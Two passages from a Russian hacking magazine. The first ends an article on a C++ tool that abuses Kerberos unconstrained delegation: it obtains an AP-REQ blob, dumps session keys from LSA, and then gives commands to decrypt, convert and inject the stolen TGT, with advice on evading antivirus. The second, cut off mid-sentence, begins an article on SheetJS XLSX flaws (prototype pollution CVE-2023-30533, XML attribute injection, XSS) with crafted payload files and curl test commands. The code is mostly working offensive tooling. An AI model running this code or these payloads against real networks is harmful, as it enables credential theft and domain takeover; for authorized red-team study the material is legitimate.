       if (status == SEC_E_OK) {

        ... // Все ОK
     } else {

         switch (status) {
        case SEC_E_INSUFFICIENT_MEMORY:

   
 

           std::wcout << L"[-] Not enough memory for current creds"
<< std::endl;
           break;

        case SEC_E_INTERNAL_ERROR:
       

   
           std::wcout << L"[-] SSPI ERROR: 0x" << std::hex << status
<< L"L" << std::endl;
           break;

        case SEC_E_NO_CREDENTIALS:
               std::wcout << L"[-] No Credentials Available" << std::

endl;
           break;

        case SEC_E_NOT_OWNER:
               std::wcout << L"[-] U Dont Have Credentials" << std::endl

;
           break;

        case SEC_E_SECPKG_NOT_FOUND:
               std::wcout << L"[-] Kerberos AP is not initialized" <<

std::endl;
           break;

        case SEC_E_UNKNOWN_CREDENTIALS:
               std::wcout << L"[-] Credentials were not recognized" <<

std::endl;
           break;
       default:

      
    

           std::wcout << L"[-] Unknown Err: 0x" << std::hex <<
status << L"L" << std::endl;
           break;
       }
   }
    return -1;
}

Ес ли что-то идет не так, то обра баты ваем получен ную ошиб ку. Про дебаг
 написа но в статье «

».

SECURITY_STATUS Пос тавщик небезо пас ности.

Как Windows рас кры вает пароль поль зовате ля
Ес ли же все хорошо, то перехо дим к вза имо дей ствию с целевой служ бой.

Для это го исполь зуем фун кцию .InitializeSecurityContext()

  SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(
      [in, optional]      PCredHandle phCredential,
      [in, optional]      PCtxtHandle phContext,
                     SEC_CHAR       *pszTargetName,
    [in]                unsigned long fContextReq,
    [in]                unsigned long Reserved1,
    [in]                unsigned long TargetDataRep,
   [in, optional]      PSecBufferDesc pInput,
    [in]                unsigned long Reserved2,
        [in, out, optional] PCtxtHandle phNewContext,
     [in, out, optional] PSecBufferDesc pOutput,
    [out]               unsigned long *pfContextAttr,
            [out, optional] PTimeStamp ptsExpiry
);

Эта фун кция поз воля ет обра тить ся к целевой служ бе, что бы начать выс тра- 
ива ние кон тек ста для безопас ного вза имо дей ствия. Имен но в этот момент
KDC видит, что кли ент при шел к служ бе с неог раничен ным делеги рова нием,
и отда ет TGS с фла гом . Сто ит обра тить вни мание

на параметр  — здесь ука зыва ем SPN служ бы с неог раничен- 

ным делеги рова нием. Затем про веря ем, успе шен ли вызов фун кции, а так же
. Если он содер жит зна чение , то все сра- 

бота ло пра виль но и мы обра тились к служ бе с неог раничен ным делеги рова- 
нием.

OK_AS_DELEGATE
pszTargetName

pfContextAttr ISC_REQ_DELEGATE

 CtxtHandle newContext;
              SecBuffer secbufPointer = { 0, SECBUFFER_TOKEN, NULL };

              SecBufferDesc output = { SECBUFFER_VERSION, 1, &secbufPointer
};

        ULONG contextAttr;
        TimeStamp expiry;

   
     

     
     

       SECURITY_STATUS initSecurity = InitializeSecurityContextW(&
hCredential, NULL, (SEC_WCHAR*)spn, ISC_REQ_ALLOCATE_MEMORY |
ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0, SECURITY_NATIVE_DREP, NULL
, 0, &newContext, &output, &contextAttr, NULL);

       
 

       if (initSecurity == SEC_E_OK || initSecurity ==
SEC_I_CONTINUE_NEEDED) {

               std::wcout << L"[+] Initializing GSS-API" << std::endl;
               if (contextAttr & ISC_REQ_DELEGATE) {

#ifdef DEBUG
   

 
               std::wcout << L"[+] SPN Supports Unconstrained Deleg"
<< std::endl;
#endif

                DWORD destSize;
               ...

При чем в парамет ре  ука зыва ем мас ку

.

Пос ледние два парамет ра поз волят сер веру, на который кли ент отправ ляет
кон текст, про водить оли цет ворение это го самого кли ента.

fContextReq
ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH

За тем прис тупа ем к получе нию бло ба AP-REQ. Он будет находить ся внут- 
ри парамет ра  струк туры . Ее мы переда ли внут ри дру гой
струк туры  парамет ром  в фун кцию

. Сами эти струк туры нуж ны для того, что бы

SP мог вер нуть дан ные, которые тре буют ся для даль нейше го выс тра ива ния
кон тек ста. Раз нооб разия ради пред лагаю исполь зовать фун кцию

 для кодиро вания бло ба в Base64. Кодиру ем по той

при чине, что сам AP-REQ пред став ляет собой боль шой мас сив бинар ных
дан ных, кор рек тное отоб ражение которых невоз можно.

pvBuffer SecBuffer
SecBufferDesc output

InitializeSecurityContext()

CryptBinaryToStringA()

 DWORD destSize;
// Getting AS-REQ blob

    
    

  

BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.
pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 |
CRYPT_STRING_NOCRLF, NULL, &destSize);

   char* apreqbuf = (char*)malloc((SIZE_T)destSize);
    if (apreqbuf == NULL) {

     
  

std::wcout << L"[-] Unable To allocate memory for AS-REQ b64 
blob" << std::endl;
    return -1;
}

 else {
       

    
  

BOOL base64 = CryptBinaryToStringA((CONST BYTE*)secbufPointer.
pvBuffer, (DWORD)secbufPointer.cbBuffer, CRYPT_STRING_BASE64 |
CRYPT_STRING_NOCRLF, apreqbuf, &destSize);
     if (!base64) {

           std::wcout << L"[-] Unable to Base64 Encode AP-REQ blob" <<
std::endl;

        return -1;
   }
    else {

         apreqdata = (BYTE*)secbufPointer.pvBuffer;
         apreqsize = secbufPointer.cbBuffer;

       ...

В этом коде все чуточ ку про ще. В фун кцию кодиро вания в Base64 переда ем
буфер, содер жащий блоб AP-REQ ( ), его раз мер

, а в ответ получа ем раз мер выход ного буфера

( ). Затем выделя ем в памяти дос таточ но мес та под выход ной буфер
и записы ваем туда блоб AP-REQ пов торным вызовом фун кции кодиро вания
дан ных.

secbufPointer.pvBuffer
secbufPointer.cbBuffer
destSize

Продолжение статьи →

mailto:konovalovmaks0304@mail.ru
https://xakep.ru/2023/03/15/windows-password/#toc02.1
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Те перь у нас есть что рас шифро вывать, но нечем. Нуж но получить сес сион- 
ный ключ. Он будет находить ся так же в прос транс тве про цес са ,

внут ри AP Kerberos, поэто му для его дам па мож но будет исполь зовать стан- 
дар тные фун кции 

и . Сес сион ный ключ кли ент получил пос- 
ле успешно го вызова  в отве те KDC пакетом

TGS-REP. Сна чала прос то под клю чаем ся к LSA.

lsass.exe

LsaConnectUntrusted()
LsaCallAuthenticationPackage()

InitializeSecurityContext()

 HANDLE lsaHandle;
 LSA_STRING kerbPackage;

  kerbPackage.Buffer = (PCHAR)MICROSOFT_KERBEROS_NAME_A;
  kerbPackage.Length = (USHORT)lstrlenA(kerbPackage.Buffer);

    kerbPackage.MaximumLength = kerbPackage.Length + 1;
 ULONG authpackageId;

   NTSTATUS connection = LsaConnectUntrusted(&lsaHandle);
    if (connection == statusSuccess) {

#ifdef DEBUG
           std::wcout << L"[+] Connection to LSA Success" << std::endl;

#endif
   ...

Нам дос таточ но и обыч ного хен дла на LSA. Нет смыс ла дер гать
 для дам па сес сион ных клю чей, ведь они дол- 

жны быть дос тупны любому поль зовате лю, даже низ копри виле гиро ван ному
(ина че как бы он шиф ровал пакеты Kerberos?). Затем я стол кнул ся с инте рес- 
ной проб лемой: у тикета есть три вида шиф рования — RC4, AES-128, AES-
256. А нам никак не узнать, тикет с какой крип тогра фией сей час лежит в прог- 
рамме, поэто му при дет ся три раза обра щать ся к AP Kerberos для поис ка нуж- 
ного клю ча. Обра щение я вынес в отдель ную фун кцию .

LsaRegisterLogonProcess()

GetSessionKeys()

    
 

NTSTATUS LookupPckg = LsaLookupAuthenticationPackage(lsaHandle, &
kerbPackage, &authpackageId);

    if (LookupPckg == statusSuccess) {
#ifdef DEBUG
         std::wcout << L"[+] Kerberos AP: " << authpackageId << std::endl;
#endif
       std::wcout << L"[+] Trying RC4" << std::endl;
         

 
NTSTATUS sessKey = GetSessionKeys(lsaHandle, authpackageId, 23,

spn, destSize);
       if (sessKey == 0xC0000034) {

           std::wcout << L"\t[-] No such keys" << std::endl;
           std::wcout << L"[+] Trying AES128" << std::endl;

             sessKey = GetSessionKeys(lsaHandle, authpackageId, 17, spn,
destSize);

           if (sessKey == 0xC0000034) {
               std::wcout << L"\t[-] No such keys" << std::endl;
               std::wcout << L"[+] Trying AES256" << std::endl;

     
 

           sessKey = GetSessionKeys(lsaHandle, authpackageId, 18,
spn, destSize);

               if (sessKey != 0) {
  

  
               std::wcout << L"[-] Error getting AES256 session 
Keys" << std::endl;

                return -1;
           }

            else {
                     std::wcout << "[+] Session Key: " << sessionKeyGet <<

std::endl;
                     std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl

;
                return 0;

           }
       }

            else if (sessKey == -1) {
               std::wcout << L"[-] Error getting AES128 session Keys" <<

std::endl;
            return -1;

       }
        else {

                 std::wcout << "[+] Session Key: " << sessionKeyGet << std
::endl;

                 std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
            return 0;

       }
   }
        else if (sessKey == -1) {

           std::wcout << L"[-] Error getting RC4 session Keys" << std::
endl;

        return -1;
   }
    else {

             std::wcout << "[+] Session Key: " << sessionKeyGet << std::
endl;

             std::wcout << "[+] AP-REQ: " << apreqbuf << std::endl;
        return 0;

   }

}

Сна чала прос то получа ем иден тифика тор AP Kerberos, затем пыта емся
получить сес сион ные клю чи для тикета с шиф ровани ем RC4. Если таких клю- 
чей нет, нам выдадут ошиб ку , которая фун кци ей

 пре обра зует ся в , что озна чает

 (фай лом, видимо, вин да называ ет сес сион ный ключ).

Если же что-то лома ется, то при лета ет . Если все окей, то ключ был
успешно сдам плен, выводим AP-REQ и сам клю чик. Ров но такой же алго ритм
пов торя ем и для AES-128, и для AES-256.

0xC0000034
LsaNtStatusToWinError() 0x2
ERROR_FILE_NOT_FOUND

-1

Фун кция  зап рашива ет из AP Kerberos сес сион ные клю- 
чи, переда вая струк туру .

GetSessionKeys()
KERB_RETRIEVE_TKT_REQUEST

   typedef struct _KERB_RETRIEVE_TKT_REQUEST {
  KERB_PROTOCOL_MESSAGE_TYPE MessageType;
 LUID                       LogonId;
 UNICODE_STRING             TargetName;
 ULONG                      TicketFlags;
 ULONG                      CacheOptions;
 LONG                       EncryptionType;
 SecHandle                  CredentialsHandle;
  } KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;

В качес тве  ука зыва ем ,
а в  — , что поз волит

сдам пить сес сион ные клю чи. Сама фун кция  при нима ет

хендл на LSA, ID AP Kerberos, тип шиф рования (23 — RC4, 17 — AES-128,
18 — AES-256), целевой SPN, а так же раз мер буфера.

MessageType KerbRetrieveEncodedTicketMessage
CacheOptions KERB_RETRIEVE_TICKET_USE_CACHE_ONLY

GetSessionKeys()

      
     

NTSTATUS GetSessionKeys(HANDLE lsaHandle, ULONG authpackageId, LONG
EncryptionType, LPCWSTR spn, DWORD destSize) {
      PKERB_RETRIEVE_TKT_REQUEST retrieveRequest = NULL;
      PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL;
    ULONG bufferLength;
    ULONG returnLength;
      NTSTATUS packageStatus = 0;
      int spnSize = lstrlenW(spn);
          USHORT newSpnSize = ((USHORT)lstrlenW((LPCWSTR)spn) + 1) * sizeof
(wchar_t);
       bufferLength = sizeof(KERB_RETRIEVE_TKT_REQUEST) + newSpnSize;
      retrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LPTR,
bufferLength);
       if (retrieveRequest != NULL) {

         retrieveRequest->MessageType =
KerbRetrieveEncodedTicketMessage;

         retrieveRequest->CacheOptions =
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;

         retrieveRequest->EncryptionType = EncryptionType;
           retrieveRequest->TargetName.Length = newSpnSize - sizeof(

wchar_t);
         retrieveRequest->TargetName.MaximumLength = newSpnSize;

  
  

       retrieveRequest->TargetName.Buffer = (PWSTR)((PBYTE)
retrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST));

         RtlMoveMemory(retrieveRequest->TargetName.Buffer, spn,
retrieveRequest->TargetName.MaximumLength);

   
    

  

       NTSTATUS callauthPkg = LsaCallAuthenticationPackage(lsaHandle
, authpackageId, (PVOID)retrieveRequest, bufferLength, (PVOID*)&
retrieveResponse, &returnLength, &packageStatus);

           if (callauthPkg == statusSuccess) {
#ifdef DEBUG

               std::wcout << L"\t[+] Calling AP Kerberos Success" << std
::endl;
#endif

               if (packageStatus == statusSuccess) {
  
  

               std::wcout << L"\t[+] Successfully getted Kerberos 
keys with these encryption" << std::endl;

                  PVOID sessionkeynob64 = (PVOID)malloc((SIZE_T)
retrieveResponse->Ticket.SessionKey.Length);

                   if (sessionkeynob64 != NULL) {
                   // Copying Session Key

 
 

                   RtlMoveMemory(sessionkeynob64, retrieveResponse->
Ticket.SessionKey.Value, retrieveResponse->Ticket.SessionKey.Length);

    
  

    

                   BOOL base641 = CryptBinaryToStringA((CONST BYTE*)
sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.Length,
CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &destSize);

                      LPSTR sessionKey = (LPSTR)malloc((SIZE_T)destSize
);

                       if (sessionKey != NULL) {
    

 
     

                       BOOL base641 = CryptBinaryToStringA((CONST
BYTE*)sessionkeynob64, (DWORD)retrieveResponse->Ticket.SessionKey.
Length, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, sessionKey, &
destSize);

                         if (base641) {
                             sessKkey = retrieveResponse->Ticket.

SessionKey.Value;
                             sessionKeyGet = sessionKey;

                            return 0;
                       }

                        else {
  

    
                           std::cout << "\t[-] Cant Get string of 
session key: " << GetLastError() << std::endl;

                            return -1;
                       }
                   }

                    else {
  

    
                       std::cout << "\t[-] Cant LocalAlloc for 
session key: " << GetLastError() << std::endl;

                        return -1;
                   }
               }

                else {
  

    
                   std::cout << "\t[-] Unable to allocate memory 
for kerberos keys: " << GetLastError << std::endl;
                   LocalFree(retrieveRequest);
                   LsaFreeReturnBuffer((PVOID)retrieveResponse);

                    return -1;
               }
           }

            else {
                return packageStatus;

           }
       }
   }
    else {

          DWORD Gle = GetLastError();
  

    
       std::cout << "\t[-] Error LocalAlloc for 
KERB_RETRIEVE_TKT_REQUEST: " << Gle << std::endl;

        return -1;
   }
}

Ло гика дос таточ но прос тая: готовим струк туру ,
которую динами чес ки выделя ем в памяти. Затем ини циали зиру ем все нуж ные
эле мен ты, отдель но копиру ем SPN в имя целевой служ бы фун кци ей

, ина че Kerberos не пой мет, сес сион ный ключ какого тикета

нуж но сдам пить, а затем про веря ем успешность вызова фун кции.

KERB_RETRIEVE_TKT_REQUEST

RtlMoveMemory()

Ес ли фун кция дер нулась успешно, то копиру ем сес сион ный ключ, а затем
кодиру ем его в Base64, пов торяя все те же опе рации, что и для бло ба AP-
REQ.

ÐÀÑØÈÔÐÎÂÊÀ AP-REQ

Пос ле получе ния AP-REQ и сес сион ного клю ча я при нял решение не дек- 
риптить блоб на хос те. Инс тру мент будет выводить толь ко сес сион ный ключ
в Base64 и сам AP-REQ, а рас шифров ку сде лаем на хос те ата кующе го.

Сес сион ный ключ и блоб AP-REQ

Та кое решение я при нял нес лучай но — для рас шифров ки AP-REQ исполь- 
зует ся недоку мен тирован ный крип тоин терфейс Windows, который легитим- 
ные прог раммы не исполь зуют в прин ципе. Так или ина че, мы его изу чим,
но чуть поз же, ког да будем писать инс тру мент для зап роса TGT и TGS на C++.
Лишь вкрат це отме чу, что для обна руже ния и ини циали зации всех методов
это го крип тоин терфей са исполь зует ся фун кция . Проб- 

лема в том, что при пер вом же гуг лении ее име ни мы натыка емся на очень
инте рес ные статьи.

CDLocateCSystem()

По доз ритель ная фун кция

Фун кция край не подоз ритель ная, плюс, ско рее все го, ее вызов отсле жива- 
ется даже самыми прос тыми АВ. Поэто му, что бы сох ранить чис тоту инс тру- 
мен та, пред лагаю перенес ти рас шифров ку на компь ютер ата кующе го.

WWW

Ес ли тебе инте рес но пос мотреть, как эту рас- 
шифров ку реали зует Kekeo или Rubeus, то вот
ссыл ки на код:

Kekeo: фай лы 
и ;

• kuhl_m_tgt
kull_m_kerberos_asn1_crypto.c

Rubeus: файл .• Crypto.cs

Для рас шифров ки AP-REQ и извле чения TGT из него мож но исполь зовать
скрипт .tgtParse.py

python tgtParse.py --etype <тип шифрования> --sessionkey <сессионный 
ключ> --apreq <ap req блоб> 

По луче ние тикета ccache

За тем в текущей дирек тории появит ся тикет , который мож но пре- 

обра зовать в фор мат  с помощью .

.ccache
.kirbi ticketConverter.py

Из вле чен ный тикет

python ticketConverter.py Администратор.ccache admin.kirbi 

Ус пешное пре обра зова ние тикета

Ти кет в текущей дирек тории

На конец, инжектим тикет с помощью инс тру мен та на .PowerShell

.\injector.ps1 2 "doi..."

Ус пешный инжект тикета

ÂÛÂÎÄÛ

Фун кции делеги рова ния в Active Directory пре дос тавля ют мно жес тво необыч- 
ных и недоку мен тирован ных воз можнос тей, экс плу ата ция которых очень
силь но упро щает жизнь ата кующе му. А если этот ата кующий еще и уме ет все
написать c нуля, разоб рать ся в ата ке, обой ти защит ные средс тва, то он
в шаге от прев ращения в нас тояще го ред тимера! Пол ный код про екта ты
можешь отыс кать на .GitHub

https://github.dev/gentilkiwi/kekeo/blob/de98fa66790d8d3ed37a43879d7213ea218a2ed6/kekeo/modules/kuhl_m_tgt.c#L510
https://github.dev/gentilkiwi/kekeo/blob/d3ee2ae2fdeb5581fe2be1d53838f66729c3de16/modules/asn1/kull_m_kerberos_asn1_crypto.c#L86
https://github.dev/GhostPack/Rubeus/blob/dd5472f5af3ee71a99eed2f890e4edb7b80ebf18/Rubeus/lib/Crypto.cs#l123
https://github.com/MzHmO/articles/blob/main/TGT%20Deleg/tgtParse/tgtParse.py
https://github.com/MzHmO/articles/blob/main/TGT%20Deleg/tgtParse/ticketConverter.py
https://github.com/MzHmO/PowershellKerberos/blob/main/injector.ps1
https://github.com/MzHmO/articles/tree/main/TGT%20Deleg
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ВЗЛОМ

Па кет XLSX, выпущен ный ком пани ей
SheetJS, широко исполь зует ся раз работ- 
чиками для вза имо дей ствия с элек трон-
ными таб лицами в фор матах XLSX и XLSM,
в том чис ле при меня ется в кор поратив ных
про дук тах. Ана лизи руя пакет, мы наш ли
нес коль ко уяз вимос тей. В этой статье я
покажу, как они воз никли и как их может
экс плу ати ровать зло умыш ленник.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Да вай вкрат це пос мотрим, как работа ет SheetJS. Ког да файл элек трон ной
таб лицы XLSX переда ется фун кции , про исхо дит сле дующее:XLSX.readFile

Фун кция про веря ет тип фай ла, ана лизи руя пер вые бай ты заголов ка. Если
тип фай ла рас познан как ZIP-архив, про цесс про дол жает ся.

•

Файл архи ва рас паковы вает ся в память про цес са, что поз воля ет работать
непос редс твен но с XML-фай лами, опи сыва ющи ми струк туру и дан ные
элек трон ной таб лицы, а так же с дру гими ресур сами, вклю чая изоб ражения
и шриф ты.

•

Пар сер, встро енный в биб лиоте ку, начина ет раз бор XML-тегов. Он ана- 
лизи рует струк туру фай ла и извле кает необ ходимые дан ные, такие
как зна чения яче ек, фор матиро вание и дру гие свой ства таб лицы.

•

По лучен ные дан ные обыч но пред став ляют ся в виде удоб ных струк тур,
таких как мас сивы или объ екты, что бы их мож но было лег ко исполь зовать
в при ложе нии.

•

LIMITED PROTOTYPE POLLUTION

Îïèñàíèå íåäîñòàòêà
Уяз вимость, свя зан ная с огра ничен ным заг рязне нием про тоти па (Limited
Prototype Pollution), воз ника ет при обра бот ке ком мента риев внут ри заг ружен- 
ного докумен та в фун кции . В ней прис ваивает ся зна чение объ- 
екта по клю чу, который может кон тро лиро вать ся поль зовате лем.

cmntcommon

   else sheet[comment.ref] = cell;

Для даль нейше го ана лиза важ но понимать, что такое . Это зна- 
чение попада ет в код из фай ла  (где  — номер

докумен та с ком мента риями). При мер:

comment.ref
threadedCommentXXX.xml XXX

   
 

<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{
29DB960B-0822-594C-AB20-3D499FA339C7}" id="{
962D1EF3-37F7-FF40-983D-B0762466C0AF}">

Обыч но, ког да файл соз дает ся в редак торе элек трон ных таб лиц, это не
вызыва ет проб лем, так как адре са яче ек редак тор сге нери рует авто мати чес- 
ки и это будут допус тимые зна чения.

Од нако раз работ чики пакета XLSX не учли, что зло умыш ленник может
вруч ную соз дать файл XLSX с про изволь ным содер жимым и спе циаль но
сфор мировать адре са яче ек.

7z x normal.xlsx 
; Вносим изменение в желаемые файлы 
7z a NotNormal.zip ./\[Content_Types\].xml _rels/ docProps/ xl 
mv NotNormal.zip NotNormal.xlsx 

Для успешной экс плу ата ции заг рузим обыч ный файл, но с таким
:threadedComment

   
 

<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71"
personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{
962D1EF3-37F7-FF40-983D-B0762466C0AF}">

В таком слу чае зна чение  будет рав но , а  будет
содер жать .

comments.ref __proto__ cell
Object prototype

Да лее в коде фун кции находим обра щение к :cell

    if (!cell.c) cell.c = [];

Так как перемен ная содер жит , то мас сив запишет ся в свой ство 

про тоти па объ екта. Это при ведет к тому, что при даль нейших про вер ках все
ком мента рии будут записы вать ся в один мас сив, так как зна чение 

будет всег да опре деле но. Раз работ чикам сле дова ло исполь зовать такую
конс трук цию:

prototype c

cell.c

    if (!cell.hasOwnProperty("c")) cell.c = [];

Да вай наб роса ем доказа тель ство кон цепции:

   const express = require('express');
   const fileUpload = require('express-fileupload');
   const app = express();
   const XLSX = require("xlsx");

// Middleware для обработки файлов
app.use(fileUpload());

// Получение POST-запроса c обработкой загруженного файла
   app.post('/process', function(req, res) {

         if (!req.files || Object.keys(req.files).length === 0) {
        return res.status(400).send('Не найдены загруженные файлы.');

   }

 // Получение загруженного файла
      const uploadedFile = req.files.file;
      let a = XLSX.read(uploadedFile.data);
   /*
       Далее может следовать любая обработка файла и т. д.
   */
   res.send('Файл успешно обработан.');
});

// Обработка GET-запроса c выдачей простого документа
   app.get('/getSample', function(req, res) {

       var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123
]]);
      var wb = XLSX.utils.book_new();
     XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');
          const xlsxData = XLSX.write(wb, { type: 'buffer' });

   // Возврат обработанного файла
    res.set('Content-Type', 'application/vnd.
openxmlformats-officedocument.spreadsheetml.sheet');
    res.set('Content-Disposition', 'attachment; 
filename="processed_file.xlsx"');
   res.send(xlsxData);
});
// Запуск сервера

  app.listen(3000, function() {
 console.log('Сервер запущен на порте 3000');
});

Этот скрипт при нима ет файл для обра бот ки на эндпо инте , а при

зап росе  воз вра щает при мер обыч ного фай ла XLSX (который

не содер жит ком мента риев).

/process
/getSample

Сде лаем нес коль ко зап росов на сер вер. Сна чала обра тим ся к 

 и откро ем файл, что бы прос мотреть его содер жимое:

/
getSample

 

 

$ curl http://localhost:3000 
/getSample -o sample.xlsx 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  
Current 
                                 Dload  Upload   Total   Spent    Left  
Speed 
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:-
-100 22023  100 22023    0     0  1312k      0 --:--:-- --:--:-- --:--:-
- 1955k 
$ open sample.xlsx

Со дер жимое откры того фай ла

А теперь выпол ним серию зап росов с нашим спе циаль ным фай лом:

 

 

 

$ curl -X POST --form file=@ 
/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process

Файл успешно обра ботан.⏎ 
$ curl http://localhost:3000 
/getSample -o sample.xlsx 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  
Current 
                                 Dload  Upload   Total   Spent    Left  
Speed 
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:-
-100 22023  100 22023    0     0  1312k      0 --:--:-- --:--:-- --:--:-
- 1955k 
$ open sample.xlsx

Те кущее содер жимое фай ла

Ðåàêöèÿ ðàçðàáîò÷èêîâ
В вер сии 0.19.3 пакета XLSX раз работ чики пос тарались устра нить этот баг.
Они добави ли такую про вер ку:

   var r = decode_cell(comment.ref);
       if(r.r < 0 || r.c < 0) return;

Те перь, если  содер жит невалид ное наз вание ячей ки таб лицы,

выпол нение фун кции прер вется.

comment.ref

Ба гу выдан иден тифика цион ный номер CVE-2023-30533.

ÌÎÄÈÔÈÊÀÖÈß ÔÀÉËÎÂ PERSON È THREADEDCOMMENT

Îïèñàíèå íåäîñòàòêà
Мы про дол жили изу чать фун кции, свя зан ные с ком мента риями, и обна ружи ли
воз можность модифи циро вать фай лы  и  внут ри ZIP-

архи ва.

person threadedComment

Де ло в том, что при соз дании фай лов XLSX-атри буты тегов внут ри XML-
струк туры всег да обрамля ются двой ными кавыч ками. При мер:

 
 

<comments xmlns="http://schemas.openxmlformats.org/spreadsheetml/
2006/main" ...

В фун кции , которая отве чает за пар синг тегов, для извле чения

зна чений атри бутов исполь зует ся такое регуляр ное выраже ние:

parsexmltag

 var attregexg=/([^"\s?>\/]+)\s*=\s*((?:")([^"]*)(?:")|(?:')([^']*)(?:
')|([^'">\s]+))/g;

Оно явно отку да-то ско пиро вано и реали зует пол ный пар синг атри бутов
в соот ветс твии со стан дартом RFC 5364. Здесь учте но, что атри буты могут
быть в двой ных или в оди нар ных кавыч ках.

Те перь пос мотрим фун кцию, которая отве чает за запись
в :theradedComment

   o.push(writextag('threadedComment', writetag('text', c.t||""), tcopts
));
...

 return o.join("");

Тут ясно вид но, что все час ти XML-докумен та собира ются в мас сив, а затем
объ еди няют ся в одну стро ку. Но в этом про цес се нет филь тра ции дан ных,
пос тупа ющих в фун кцию . Давай пос мотрим, что у нее внут ри:writetag

        
             

function writetag(f,g) { return '<' + f + (g.match(wtregex)?' xml:
space="preserve"' : "") + '>' + g + '</' + f + '>'; }

Здесь понят но, что наши дан ные прев раща ются в теги, но без пред варитель- 
ной филь тра ции или про вер ки.

  function write_people_xml(people/*, opts*/) {
         var o = [XML_HEADER, writextag('personList', null, {

        'xmlns': XMLNS.TCMNT,
        'xmlns:x': XMLNS_main[0]

    }).replace(/[\/]>/, ">")];
     people.forEach(function(person, idx) {

         o.push(writextag('person', null, {
            displayName: person,

     
  

           id: "{54EE7950-7262-4200-6969-" + ("000000000000" + idx).
slice(-12) + "}",

            userId: person,
            providerId: "None"

       }));
   });
   o.push("</personList>");
    return o.join("");
}

В фун кции  тоже нет филь тра ции дан ных.write_person_xml
Ис поль зуем уже готовый код сер вера с уяз вимой вер сией XLSX, что бы

под твер дить наличие проб лемы.
Из меним файл  сле дующим обра зом:person.xml

 
 

  
  

<personList xmlns="http://schemas.microsoft.com/office/spreadsheetml/
2018/threadedcomments" xmlns:x="http://schemas.openxmlformats.org/
spreadsheetml/2006/main"><person displayName='" Slonser="SolidLab'
id="{29DB960B-0822-594C-AB20-3D499FA339C7}" userId="" providerId="AD"
/></personList>

Как вид но,  ука зан внут ри оди нар ных кавычек. Отпра вим этот
файл:

displayName

 

 

 

$ curl -X POST --form file=@/solidlab.xlsx http://local 
host:3000/process

Файл успешно обра ботан.⏎ 
$ curl http://localhost:3000/getSample -o solidlab1.xlsx 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  
Current 
                                 Dload  Upload   Total   Spent    Left  
Speed 
100 21760  100 21760    0     0  1561k      0 --:--:-- --:--:-- --:--:-- 
2125k

Те перь рас паку ем архив и прос мотрим :person.xml

>   
  

   
  

<person displayName="SheetJ5" id="{
54EE7950-7262-4200-6969-000000000000}" userId="SheetJ5" providerId=
"None"/><person displayName="" Slonser="SolidLab" id="{
54EE7950-7262-4200-6969-000000000001}" userId="" Slonser="SolidLab"

Те гу  был добав лен атри бут  со зна чени ем

. Такого атри бута нет в стан дар тной струк туре фай лов фор мата

XLSX.

<threadedComment> Slonser
SolidLab

Важ ный момент: для экс плу ата ции это го бага не тре бует ся заг ружать фай- 
лы с ком мента риями. Если заг рязне ние про тоти па уже про изош ло, то дос- 
таточ но, что бы име лась фун кция добав ления ком мента риев.

В совокуп ности с багом, который мы обсужда ли в пер вой час ти статьи,
это при водит к изме нению струк туры XML-фай ла во всех сле дующих обра- 
баты ваемых фай лах XLSX.

Из менение струк туры XML может при вес ти к раз личным проб лемам, таким
как:

 Изме нение струк туры XML может дать

невер ный фор мат XLSX и, соот ветс твен но, ошиб ки при попыт ке его
открыть или обра ботать;

• íà ðóøå íèå ôîð ìàòà ôàé ëà.

 Изме нение струк туры XML может при вес ти к потере

или некор рек тно му отоб ражению дан ных в фай ле XLSX. Мож но потерять
дан ные в таб лице;

• ïî òåðÿ äàí íûõ.

 Если при ложе ние,

исполь зующее фай лы XLSX, полага ется на опре делен ную струк туру XML,
то изме нение этой струк туры может при вес ти к неп ред ска зуемо му
поведе нию при ложе ния. Как следс твие — ошиб ки, некор рек тные вычис- 
ления или дру гие проб лемы.

• íå ñîîò âåòñ òâèå îæè äàåìî ìó ïîâåäå íèþ.

Ðåàêöèÿ ðàçðàáîò÷èêîâ
Этот недос таток не был исправ лен. По мне нию раз работ чиков пакета, баг
не несет серь езных угроз безопас ности вне кон тек ста Prototype Pollution.

XSS

Îïèñàíèå íåäîñòàòêà
Пос ледний недос таток, который мы наш ли в пакете XLSX, — уяз вимость, свя- 
зан ная с меж сай товым скрип тингом (XSS) в фун кции пре обра зова ния
докумен та в HTML.

В коде фун кции  мож но заметить сле дующую стро ку:make_html_row

          
      

if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="'
+ cell.l.Target +'">' + w + '</a>';

Вы зов  записы вает ся в атри бут  без какой-либо филь тра- 

ции. Сле дова тель но, из это го вызова мож но вый ти при заг рузке фай ла. Дос- 
